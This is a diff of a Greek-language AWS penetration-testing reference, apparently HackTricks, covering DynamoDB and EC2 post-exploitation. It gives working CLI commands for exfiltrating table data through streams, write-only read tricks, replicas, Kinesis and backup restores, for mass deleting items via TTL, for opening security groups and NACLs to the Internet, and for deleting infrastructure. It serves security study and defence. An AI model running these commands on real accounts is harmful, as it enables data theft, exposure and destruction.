Ένας attacker με αυτά τα permissions μπορεί να **ενεργοποιήσει ένα stream σε έναν πίνακα DynamoDB, να ενημερώσει τον πίνακα ώστε να αρχίσει να μεταδίδει αλλαγές και στη συνέχεια να έχει πρόσβαση στο stream για να παρακολουθεί τις αλλαγές στον πίνακα σε πραγματικό χρόνο**. Αυτό επιτρέπει στον attacker να παρακολουθεί και να exfiltrate αλλαγές δεδομένων, ενδεχομένως οδηγώντας σε data leakage.
|
||||
|
||||
1. Ενεργοποιήστε ένα stream σε έναν πίνακα DynamoDB:
|
||||
1. Ενεργοποίηση stream σε έναν πίνακα DynamoDB:
|
||||
```bash
|
||||
aws dynamodb update-table \
|
||||
--table-name TargetTable \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
```
|
||||
2. Περιγράψτε τη ροή για να αποκτήσετε το ARN και άλλες λεπτομέρειες:
|
||||
2. Describe the stream για να λάβετε το ARN και άλλες λεπτομέρειες:
|
||||
```bash
|
||||
aws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
3. Πάρτε το shard iterator χρησιμοποιώντας το stream ARN:
|
||||
3. Λάβετε τον shard iterator χρησιμοποιώντας το stream ARN:
|
||||
```bash
|
||||
aws dynamodbstreams get-shard-iterator \
|
||||
--stream-arn <stream_arn> \
|
||||
@@ -292,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
4. Χρησιμοποιήστε τον shard iterator για να αποκτήσετε πρόσβαση και να exfiltrate δεδομένα από το stream:
|
||||
4. Χρησιμοποιήστε το shard iterator για να αποκτήσετε πρόσβαση και να exfiltrate δεδομένα από το stream:
|
||||
```bash
|
||||
aws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
**Πιθανός αντίκτυπος**: Παρακολούθηση σε πραγματικό χρόνο και data leakage των αλλαγών στον πίνακα DynamoDB.
|
||||
**Πιθανός αντίκτυπος**: Παρακολούθηση σε πραγματικό χρόνο και data leakage των αλλαγών του DynamoDB πίνακα.
|
||||
|
||||
### Ανάγνωση items μέσω `dynamodb:UpdateItem` και `ReturnValues=ALL_OLD`
|
||||
### Ανάγνωση αντικειμένων μέσω `dynamodb:UpdateItem` και `ReturnValues=ALL_OLD`
|
||||
|
||||
Ένας επιτιθέμενος που έχει μόνο την άδεια `dynamodb:UpdateItem` πάνω σε έναν πίνακα μπορεί να διαβάσει items χωρίς τις συνήθεις δικαιοδοσίες ανάγνωσης (`GetItem`/`Query`/`Scan`), εκτελώντας μια αβλαβή ενημέρωση και ζητώντας `--return-values ALL_OLD`. Το DynamoDB θα επιστρέψει την πλήρη εικόνα του item πριν την ενημέρωση στο πεδίο `Attributes` της απόκρισης (αυτό δεν καταναλώνει RCUs).
|
||||
Ένας attacker με μόνο `dynamodb:UpdateItem` σε έναν πίνακα μπορεί να διαβάσει αντικείμενα χωρίς κανένα από τα συνηθισμένα δικαιώματα ανάγνωσης (`GetItem`/`Query`/`Scan`), εκτελώντας μια benign ενημέρωση και ζητώντας `--return-values ALL_OLD`. Το DynamoDB θα επιστρέψει την πλήρη εικόνα του αντικειμένου πριν από την ενημέρωση στο πεδίο `Attributes` της απάντησης (αυτό δεν καταναλώνει RCUs).
|
||||
|
||||
- Ελάχιστες άδειες: `dynamodb:UpdateItem` στον στοχευόμενο πίνακα/κλειδί.
|
||||
- Ελάχιστα δικαιώματα: `dynamodb:UpdateItem` στον στοχευόμενο πίνακα/κλειδί.
|
||||
- Προαπαιτούμενα: Πρέπει να γνωρίζετε το πρωτεύον κλειδί του αντικειμένου.
|
||||
|
||||
Παράδειγμα (προσθέτει ένα αβλαβές attribute και exfiltrates το προηγούμενο αντικείμενο στην απόκριση):
|
||||
Example (adds a harmless attribute and exfiltrates the previous item in the response):
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TargetTable> \
|
||||
@@ -318,14 +318,14 @@ aws dynamodb update-item \
|
||||
--return-values ALL_OLD \
|
||||
--region <region>
|
||||
```
|
||||
Η απόκριση του CLI θα περιλαμβάνει ένα μπλοκ `Attributes` που περιέχει το πλήρες προηγούμενο στοιχείο (όλα τα attributes), παρέχοντας ουσιαστικά ένα read primitive από write-only πρόσβαση.
|
||||
Η απόκριση του CLI θα περιλαμβάνει ένα μπλοκ `Attributes` που περιέχει το πλήρες προηγούμενο item (όλα τα attributes), παρέχοντας ουσιαστικά ένα read primitive από write-only access.
|
||||
|
||||
**Πιθανός αντίκτυπος:** Ανάγνωση αυθαίρετων στοιχείων από έναν πίνακα με μόνο δικαιώματα εγγραφής, επιτρέποντας την εξαγωγή ευαίσθητων δεδομένων όταν τα κύρια κλειδιά είναι γνωστά.
|
||||
**Πιθανός Αντίκτυπος:** Ανάγνωση αυθαίρετων items από έναν πίνακα με μόνο write permissions, επιτρέποντας την exfiltration ευαίσθητων δεδομένων όταν τα primary keys είναι γνωστά.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
|
||||
|
||||
Σιωπηρή εξαγωγή δεδομένων προσθέτοντας μια νέα replica Region σε έναν DynamoDB Global Table (έκδοση 2019.11.21). Εάν ένας principal μπορεί να προσθέσει ένα regional replica, ολόκληρος ο πίνακας αντιγράφεται στη Region που επιλέγει ο attacker, από όπου ο attacker μπορεί να διαβάσει όλα τα στοιχεία.
|
||||
Κρυφή exfiltration με την προσθήκη ενός νέου replica Region σε ένα DynamoDB Global Table (version 2019.11.21). Αν ένας principal μπορεί να προσθέσει regional replica, ολόκληρος ο πίνακας αναπαράγεται στη Region που επιλέγει ο επιτιθέμενος, από την οποία ο επιτιθέμενος μπορεί να διαβάσει όλα τα items.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
|
||||
@@ -354,13 +354,13 @@ aws dynamodb update-table \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Δικαιώματα: `dynamodb:UpdateTable` (with `replica-updates`) ή `dynamodb:CreateTableReplica` στον πίνακα-στόχο. Αν χρησιμοποιείται CMK στο replica, μπορεί να απαιτούνται δικαιώματα KMS για αυτό το κλειδί.
|
||||
Δικαιώματα: `dynamodb:UpdateTable` (με `replica-updates`) ή `dynamodb:CreateTableReplica` στον πίνακα-στόχο. Εάν χρησιμοποιείται CMK στο replica, μπορεί να απαιτηθούν δικαιώματα KMS για το συγκεκριμένο key.
|
||||
|
||||
Πιθανός αντίκτυπος: Πλήρης αντιγραφή του πίνακα σε Region που ελέγχεται από attacker, οδηγώντας σε διακριτική εξαγωγή δεδομένων.
|
||||
Πιθανός Αντίκτυπος: Πλήρης αντιγραφή πίνακα σε περιοχή (Region) ελεγχόμενη από επιτιθέμενο, που οδηγεί σε αθόρυβη εξαγωγή δεδομένων.
|
||||
|
||||
### `dynamodb:TransactWriteItems` (ανάγνωση μέσω αποτυχίας συνθήκης + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
### `dynamodb:TransactWriteItems` (ανάγνωση μέσω αποτυχημένης συνθήκης + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
|
||||
Ένας attacker με transactional write προνόμια μπορεί να εξαγάγει τα πλήρη attributes ενός υπάρχοντος item πραγματοποιώντας ένα `Update` μέσα σε `TransactWriteItems` που σκόπιμα αποτυγχάνει ένα `ConditionExpression` ενώ έχει οριστεί `ReturnValuesOnConditionCheckFailure=ALL_OLD`. Σε περίπτωση αποτυχίας, το DynamoDB συμπεριλαμβάνει τα προηγούμενα attributes στους λόγους ακύρωσης της συναλλαγής, μετατρέποντας ουσιαστικά την πρόσβαση μόνο για εγγραφή σε πρόσβαση ανάγνωσης για τα στοχευμένα κλειδιά.
|
||||
Ένας επιτιθέμενος με δικαιώματα transactional write μπορεί να εξάγει τα πλήρη χαρακτηριστικά ενός υπάρχοντος item εκτελώντας ένα `Update` μέσα σε `TransactWriteItems` που σκόπιμα αποτυγχάνει ένα `ConditionExpression` ενώ έχει οριστεί `ReturnValuesOnConditionCheckFailure=ALL_OLD`. Σε περίπτωση αποτυχίας, το DynamoDB συμπεριλαμβάνει τα προηγούμενα χαρακτηριστικά στους λόγους ακύρωσης της συναλλαγής, μετατρέποντας ουσιαστικά την πρόσβαση μόνο για εγγραφή σε πρόσβαση ανάγνωσης για τα στοχευμένα κλειδιά.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
|
||||
@@ -409,21 +409,21 @@ print(e.response['CancellationReasons'][0]['Item'])
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Δικαιώματα: `dynamodb:TransactWriteItems` στον στοχευόμενο πίνακα (και στο υποκείμενο στοιχείο). Δεν απαιτούνται δικαιώματα ανάγνωσης.
|
||||
Δικαιώματα: `dynamodb:TransactWriteItems` στον στοχευόμενο πίνακα (και το υποκείμενο item). Δεν απαιτούνται δικαιώματα ανάγνωσης.
|
||||
|
||||
Πιθανός Αντίκτυπος: Ανάγνωση αυθαίρετων στοιχείων (με βάση το πρωτεύον κλειδί) από έναν πίνακα χρησιμοποιώντας μόνο δικαιώματα transactional write μέσω των επιστρεφόμενων λόγων ακύρωσης.
|
||||
Πιθανός Αντίκτυπος: Ανάγνωση αυθαίρετων αντικειμένων (ανά primary key) από έναν πίνακα χρησιμοποιώντας αποκλειστικά δικαιώματα transactional write μέσω των επιστρεφόμενων λόγων ακύρωσης.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` σε GSI
|
||||
|
||||
Παρακάμψτε τους περιορισμούς ανάγνωσης δημιουργώντας ένα Global Secondary Index (GSI) με `ProjectionType=ALL` σε ένα πεδίο χαμηλής εντροπίας, ορίστε αυτό το πεδίο σε μια σταθερή τιμή για όλα τα στοιχεία, και στη συνέχεια κάντε `Query` στο index για να ανακτήσετε ολόκληρα τα στοιχεία. Αυτό λειτουργεί ακόμη και αν το `Query`/`Scan` στον βασικό πίνακα απορρίπτεται, εφόσον μπορείτε να κάνετε query στο index ARN.
|
||||
Παρακάμψτε τους περιορισμούς ανάγνωσης δημιουργώντας ένα Global Secondary Index (GSI) με `ProjectionType=ALL` πάνω σε ένα πεδίο χαμηλής εντροπίας, ορίστε αυτό το πεδίο σε μια σταθερή τιμή σε όλα τα items, και στη συνέχεια εκτελέστε `Query` στο index για να ανακτήσετε ολόκληρα items. Αυτό λειτουργεί ακόμα κι αν το `Query`/`Scan` στον βασικό πίνακα είναι απαγορευμένο, αρκεί να μπορείτε να κάνετε query στο ARN του index.
|
||||
|
||||
- Ελάχιστα δικαιώματα:
|
||||
- `dynamodb:UpdateTable` στον στοχευόμενο πίνακα (για να δημιουργήσετε το GSI με `ProjectionType=ALL`).
|
||||
- `dynamodb:UpdateItem` στα κλειδιά του στοχευόμενου πίνακα (για να ορίσετε το ευρετηριασμένο πεδίο σε κάθε στοιχείο).
|
||||
- `dynamodb:UpdateItem` στα κλειδιά του στοχευόμενου πίνακα (για να ορίσετε το ευρετηριασμένο πεδίο σε κάθε item).
|
||||
- `dynamodb:Query` στο ARN πόρου του index (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
|
||||
Βήματα (PoC στο us-east-1):
|
||||
Βήματα (PoC σε us-east-1):
|
||||
```bash
|
||||
# 1) Create table and seed items (without the future GSI attribute)
|
||||
aws dynamodb create-table --table-name HTXIdx \
|
||||
@@ -461,17 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1
|
||||
```
|
||||
**Potential Impact:** Πλήρης exfiltration ενός πίνακα με ερώτημα σε έναν νεοδημιουργημένο GSI που προβάλλει όλα τα attributes, ακόμα κι όταν οι base table read APIs απορρίπτονται.
|
||||
**Πιθανός Αντίκτυπος:** Πλήρης εξαγωγή ολόκληρου πίνακα με ερώτημα σε ένα νεοδημιουργημένο GSI που προβάλλει όλα τα attributes, ακόμη και όταν οι base table read APIs δεν επιτρέπονται.
|
||||
|
||||
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Συνεχής exfiltration μέσω Kinesis Data Streams)
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)
|
||||
|
||||
Κατάχρηση των DynamoDB Kinesis streaming destinations για να exfiltrate συνεχώς τις αλλαγές από έναν πίνακα σε ένα attacker-controlled Kinesis Data Stream. Μόλις ενεργοποιηθεί, κάθε INSERT/MODIFY/REMOVE event προωθείται σχεδόν σε πραγματικό χρόνο στο stream χωρίς να απαιτούνται read permissions στον πίνακα.
|
||||
Κατάχρηση των DynamoDB Kinesis streaming destinations για να continuously exfiltrate changes από έναν πίνακα σε έναν attacker-controlled Kinesis Data Stream. Μόλις ενεργοποιηθεί, κάθε γεγονός INSERT/MODIFY/REMOVE προωθείται σχεδόν σε πραγματικό χρόνο στο stream χωρίς να απαιτούνται δικαιώματα ανάγνωσης στον πίνακα.
|
||||
|
||||
Minimum permissions (attacker):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` on the target table
|
||||
- Optionally `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` to monitor status
|
||||
- Read permissions on the attacker-owned Kinesis stream to consume records: `kinesis:*`
|
||||
- `dynamodb:EnableKinesisStreamingDestination` στον στοχευόμενο πίνακα
|
||||
- Προαιρετικά `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` για παρακολούθηση της κατάστασης
|
||||
- Δικαιώματα ανάγνωσης στο attacker-owned Kinesis stream για κατανάλωση εγγραφών: `kinesis:*`
|
||||
|
||||
<details>
|
||||
<summary>PoC (us-east-1)</summary>
|
||||
@@ -528,9 +528,46 @@ aws dynamodb disable-kinesis-streaming-destination \
|
||||
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
|
||||
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
|
||||
```
|
||||
### `dynamodb:UpdateTimeToLive`
|
||||
|
||||
Ένας επιτιθέμενος με την άδεια dynamodb:UpdateTimeToLive μπορεί να αλλάξει τη ρύθμιση TTL (time-to-live) ενός table — ενεργοποιώντας ή απενεργοποιώντας το TTL. Όταν το TTL είναι ενεργοποιημένο, μεμονωμένα items που περιέχουν το διαμορφωμένο TTL attribute θα διαγράφονται αυτόματα μόλις φτάσει ο χρόνος λήξης τους. Η τιμή TTL είναι απλώς ένα ακόμη attribute σε κάθε item· τα items που δεν έχουν αυτό το attribute δεν επηρεάζονται από διαγραφές βάσει TTL.
|
||||
|
||||
Αν τα items δεν περιέχουν ήδη το TTL attribute, ο επιτιθέμενος θα χρειαστεί επίσης μια άδεια που επιτρέπει την ενημέρωση items (για παράδειγμα dynamodb:UpdateItem) για να προσθέσει το TTL attribute και να προκαλέσει μαζικές διαγραφές.
|
||||
|
||||
Πρώτα ενεργοποιήστε το TTL στον table, καθορίζοντας το όνομα του attribute που θα χρησιμοποιηθεί για τη λήξη:
|
||||
```bash
|
||||
aws dynamodb update-time-to-live \
|
||||
--table-name <TABLE_NAME> \
|
||||
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"
|
||||
```
|
||||
Στη συνέχεια, ενημερώστε τα items για να προσθέσετε το TTL attribute (epoch seconds) ώστε να λήξουν και να αφαιρεθούν:
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TABLE_NAME> \
|
||||
--key '<PRIMARY_KEY_JSON>' \
|
||||
--update-expression "SET <TTL_ATTRIBUTE_NAME> = :t" \
|
||||
--expression-attribute-values '{":t":{"N":"<EPOCH_SECONDS_VALUE>"}}'
|
||||
```
|
||||
### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime`
|
||||
|
||||
Ένας επιτιθέμενος με δικαιώματα dynamodb:RestoreTableFromAwsBackup ή dynamodb:RestoreTableToPointInTime μπορεί να δημιουργήσει νέους πίνακες που έχουν επαναφερθεί από backups ή από point-in-time recovery (PITR) χωρίς να αντικαταστήσει τον αρχικό πίνακα. Ο επαναφερμένος πίνακας περιέχει πλήρες στιγμιότυπο των δεδομένων στο επιλεγμένο χρονικό σημείο, οπότε ο επιτιθέμενος μπορεί να το χρησιμοποιήσει για να exfiltrate ιστορικές πληροφορίες ή να αποκτήσει πλήρες dump της προηγούμενης κατάστασης της βάσης δεδομένων.
|
||||
|
||||
Επαναφορά ενός πίνακα DynamoDB από on-demand backup:
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--target-table-name <NEW_TABLE_NAME> \
|
||||
--backup-arn <BACKUP_ARN>
|
||||
```
|
||||
Επαναφορά πίνακα DynamoDB σε συγκεκριμένο χρονικό σημείο (δημιουργία νέου πίνακα με την αποκατεστημένη κατάσταση):
|
||||
```bash
|
||||
aws dynamodb restore-table-to-point-in-time \
|
||||
--source-table-name <SOURCE_TABLE_NAME> \
|
||||
--target-table-name <NEW_TABLE_NAME> \
|
||||
--use-latest-restorable-time
|
||||
````
|
||||
</details>
|
||||
|
||||
**Πιθανός Αντίκτυπος:** Συνεχής, σχεδόν σε πραγματικό χρόνο exfiltration των αλλαγών του πίνακα σε attacker-controlled Kinesis stream χωρίς απευθείας λειτουργίες ανάγνωσης στον πίνακα.
|
||||
**Πιθανός Αντίκτυπος:** Συνεχής, σχεδόν σε πραγματικό χρόνο exfiltration των αλλαγών του πίνακα σε attacker-controlled Kinesis stream χωρίς άμεσες λειτουργίες ανάγνωσης στον πίνακα.
|
||||
|
||||
|
||||
|
||||
|
||||
+81
-54
@@ -12,8 +12,9 @@
|
||||
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
Το VPC traffic mirroring **αντιγράφει την εισερχόμενη και εξερχόμενη κυκλοφορία για EC2 instances εντός ενός VPC** χωρίς την ανάγκη εγκατάστασης οτιδήποτε στα ίδια τα instances. Αυτή η αντιγραμμένη κυκλοφορία συνήθως αποστέλλεται σε κάτι σαν network intrusion detection system (IDS) για ανάλυση και παρακολούθηση.\
|
||||
Ένας επιτιθέμενος θα μπορούσε να καταχραστεί αυτό για να καταγράψει όλη την κυκλοφορία και να αποκτήσει ευαίσθητες πληροφορίες από αυτή:
|
||||
Το VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** χωρίς την ανάγκη εγκατάστασης οτιδήποτε στα ίδια τα instances.\
|
||||
Αυτή η διπλασιασμένη κίνηση συνήθως αποστέλλεται σε κάτι σαν network intrusion detection system (IDS) για ανάλυση και παρακολούθηση.\
|
||||
Ένας επιτιθέμενος θα μπορούσε να το εκμεταλλευτεί για να καταγράψει όλη την κίνηση και να αποκτήσει ευαίσθητες πληροφορίες από αυτή:
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε αυτή τη σελίδα:
|
||||
|
||||
@@ -23,7 +24,7 @@ aws-malicious-vpc-mirror.md
|
||||
|
||||
### Copy Running Instance
|
||||
|
||||
Τα instances συνήθως περιέχουν κάποιο είδος ευαίσθητων πληροφοριών. Υπάρχουν διάφοροι τρόποι για να μπείτε (βλ. [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Ωστόσο, ένας άλλος τρόπος για να ελέγξετε τι περιέχει είναι να **create an AMI and run a new instance (even in your own account) from it**:
|
||||
Τα instances συνήθως περιέχουν κάποιο είδος ευαίσθητων πληροφοριών. Υπάρχουν διάφοροι τρόποι για να αποκτήσετε πρόσβαση (δείτε [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Ωστόσο, ένας άλλος τρόπος για να ελέγξετε τι περιέχει είναι να **δημιουργήσετε ένα AMI και να τρέξετε ένα νέο instance (ακόμα και στον δικό σας λογαριασμό) από αυτό**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -49,8 +50,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots are backups of volumes**, τα οποία συνήθως περιέχουν **ευαίσθητες πληροφορίες**, επομένως ο έλεγχός τους θα αποκαλύψει αυτές τις πληροφορίες.\
|
||||
Αν βρείτε ένα **volume without a snapshot** μπορείτε να: **Create a snapshot** και να εκτελέσετε τις ακόλουθες ενέργειες ή απλώς **mount it in an instance** μέσα στο λογαριασμό:
|
||||
**Τα Snapshots είναι αντίγραφα ασφαλείας των volumes**, τα οποία συνήθως περιέχουν **ευαίσθητες πληροφορίες**, επομένως ο έλεγχός τους πιθανόν να τις αποκαλύψει.\
|
||||
Αν βρείτε ένα **volume χωρίς snapshot** μπορείτε: **Create a snapshot** και να εκτελέσετε τις ακόλουθες ενέργειες ή απλώς **mount it in an instance** μέσα στον λογαριασμό:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -58,7 +59,7 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
Εξάγετε ένα EC2 AMI απευθείας σε S3 χρησιμοποιώντας `CreateStoreImageTask` για να αποκτήσετε ένα raw disk image χωρίς snapshot sharing. Αυτό επιτρέπει πλήρη offline forensics ή data theft ενώ αφήνει το networking του instance ανεπηρέαστο.
|
||||
Εξάγετε ένα EC2 AMI κατευθείαν στο S3 χρησιμοποιώντας `CreateStoreImageTask` για να αποκτήσετε ένα raw disk image χωρίς κοινή χρήση snapshot. Αυτό επιτρέπει πλήρη offline forensics ή data theft ενώ το instance networking παραμένει ανέπαφο.
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
@@ -66,7 +67,7 @@ aws-ami-store-s3-exfiltration.md
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
Συνδέστε έναν io1/io2 Multi-Attach volume σε ένα δεύτερο instance και κάντε mount read-only για να αποσπάσετε live data χωρίς snapshots. Χρήσιμο όταν το volume του θύματος έχει ήδη Multi-Attach ενεργοποιημένο στην ίδια AZ.
|
||||
Συνδέστε έναν io1/io2 Multi-Attach volume σε δεύτερο instance και mount-άρετέ τον σε read-only για να αποσπάσετε live data χωρίς snapshots. Χρήσιμο όταν ο victim volume έχει ήδη ενεργοποιημένο Multi-Attach στην ίδια AZ.
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
@@ -74,7 +75,7 @@ aws-ebs-multi-attach-data-theft.md
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
Δημιουργήστε ένα EC2 Instance Connect Endpoint, εξουσιοδοτήστε ingress, και εισάγετε ephemeral SSH keys για πρόσβαση σε private instances μέσω ενός managed tunnel. Παρέχει γρήγορους δρόμους lateral movement χωρίς να ανοίγονται δημόσιες θύρες.
|
||||
Δημιουργήστε ένα EC2 Instance Connect Endpoint, επιτρέψτε ingress και εγχύστε ephemeral SSH keys για πρόσβαση σε private instances μέσω managed tunnel. Παρέχει γρήγορες lateral movement διαδρομές χωρίς να ανοίγονται public ports.
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
@@ -82,7 +83,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
Μετακινήστε τη δευτερεύουσα private IP του ENI του θύματος σε ένα ENI που ελέγχεται από τον επιτιθέμενο για να μιμηθείτε trusted hosts που είναι allowlisted ανά IP. Επιτρέπει την παράκαμψη εσωτερικών ACLs ή SG κανόνων που βασίζονται σε συγκεκριμένες διευθύνσεις.
|
||||
Μετακινήστε τη secondary private IP ενός victim ENI σε ENI υπό έλεγχο attacker για να μιμηθείτε trusted hosts που είναι allowlisted κατά IP. Επιτρέπει την παράκαμψη εσωτερικών ACLs ή SG rules που βασίζονται σε συγκεκριμένες διευθύνσεις.
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
@@ -90,7 +91,7 @@ aws-eni-secondary-ip-hijack.md
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
Ανασυνδέστε ένα Elastic IP από το instance του θύματος στον επιτιθέμενο για να παρεμβληθείτε στην εισερχόμενη κίνηση ή να ξεκινήσετε εξερχόμενες συνδέσεις που φαίνεται να προέρχονται από trusted public IPs.
|
||||
Επανασυσχετίστε ένα Elastic IP από το victim instance στον attacker για να υποκλέψετε inbound traffic ή να ξεκινήσετε outbound συνδέσεις που φαίνονται να προέρχονται από trusted public IPs.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
@@ -98,7 +99,7 @@ aws-eip-hijack-impersonation.md
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
Αν ένας κανόνας security group αναφέρεται σε ένα customer-managed prefix list, η προσθήκη attacker CIDRs στη λίστα επεκτείνει αθόρυβα την πρόσβαση σε κάθε εξαρτώμενο SG κανόνα χωρίς να τροποποιηθεί το ίδιο το SG.
|
||||
Αν ένας κανόνας security group αναφέρεται σε έναν customer-managed prefix list, η προσθήκη attacker CIDRs στη λίστα επεκτείνει σιωπηλά την πρόσβαση σε κάθε εξαρτώμενο SG rule χωρίς να τροποποιηθεί το ίδιο το SG.
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
@@ -106,15 +107,41 @@ aws-managed-prefix-list-backdoor.md
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
Δημιουργήστε gateway ή interface VPC endpoints για να επανακτήσετε εξερχόμενη πρόσβαση από απομονωμένα subnets. Η χρήση AWS-managed private links παρακάμπτει ελλείποντες IGW/NAT ελέγχους για data exfiltration.
|
||||
Δημιουργήστε gateway ή interface VPC endpoints για να επανακτήσετε outbound access από απομονωμένα subnets. Η αξιοποίηση AWS-managed private links παρακάμπτει την έλλειψη IGW/NAT controls για data exfiltration.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### `ec2:AuthorizeSecurityGroupIngress`
|
||||
|
||||
Ένας attacker με permission ec2:AuthorizeSecurityGroupIngress μπορεί να προσθέσει inbound rules σε security groups (π.χ. επιτρέποντας tcp:80 από 0.0.0.0/0), εκθέτοντας έτσι internal υπηρεσίες στο δημόσιο Internet ή σε μη εξουσιοδοτημένα δίκτυα.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
```
|
||||
# `ec2:ReplaceNetworkAclEntry`
|
||||
Ένας επιτιθέμενος με δικαιώματα ec2:ReplaceNetworkAclEntry (ή παρόμοια) μπορεί να τροποποιήσει τα Network ACLs (NACLs) ενός subnet ώστε να τα καταστήσει πολύ πιο επιεική — για παράδειγμα επιτρέποντας 0.0.0.0/0 σε κρίσιμες θύρες — εκθέτοντας όλο το εύρος του subnet στο Internet ή σε μη εξουσιοδοτημένα τμήματα του δικτύου. Σε αντίθεση με τα Security Groups, που εφαρμόζονται ανά instance, τα NACLs εφαρμόζονται σε επίπεδο subnet, οπότε η αλλαγή ενός περιοριστικού NACL μπορεί να έχει πολύ μεγαλύτερη εμβέλεια, επιτρέποντας πρόσβαση σε πολλούς περισσότερους hosts.
|
||||
```bash
|
||||
aws ec2 replace-network-acl-entry \
|
||||
--network-acl-id <ACL_ID> \
|
||||
--rule-number 100 \
|
||||
--protocol <PROTOCOL> \
|
||||
--rule-action allow \
|
||||
--egress <true|false> \
|
||||
--cidr-block 0.0.0.0/0
|
||||
```
|
||||
### `ec2:Delete*`
|
||||
|
||||
Ένας attacker με δικαιώματα ec2:Delete* και iam:Remove* μπορεί να διαγράψει κρίσιμους πόρους υποδομής και ρυθμίσεις — για παράδειγμα key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Αυτό μπορεί να προκαλέσει άμεση διακοπή υπηρεσίας, απώλεια δεδομένων και απώλεια εγκληματολογικών αποδείξεων.
|
||||
|
||||
One example is deleting a security group:
|
||||
|
||||
aws ec2 delete-security-group \
|
||||
--group-id <SECURITY_GROUP_ID>
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
Διευθύνετε τα VPC Flow Logs σε ένα S3 bucket που ελέγχεται από τον επιτιθέμενο για να συλλέγετε συνεχώς network metadata (source/destination, ports) εκτός του λογαριασμού του θύματος για μακροπρόθεσμη αναγνώριση.
|
||||
Κατευθύνετε τα VPC Flow Logs σε ένα attacker-controlled S3 bucket για να συλλέγετε συνεχώς network metadata (source/destination, ports) εκτός του victim account για μακροχρόνια reconnaissance.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
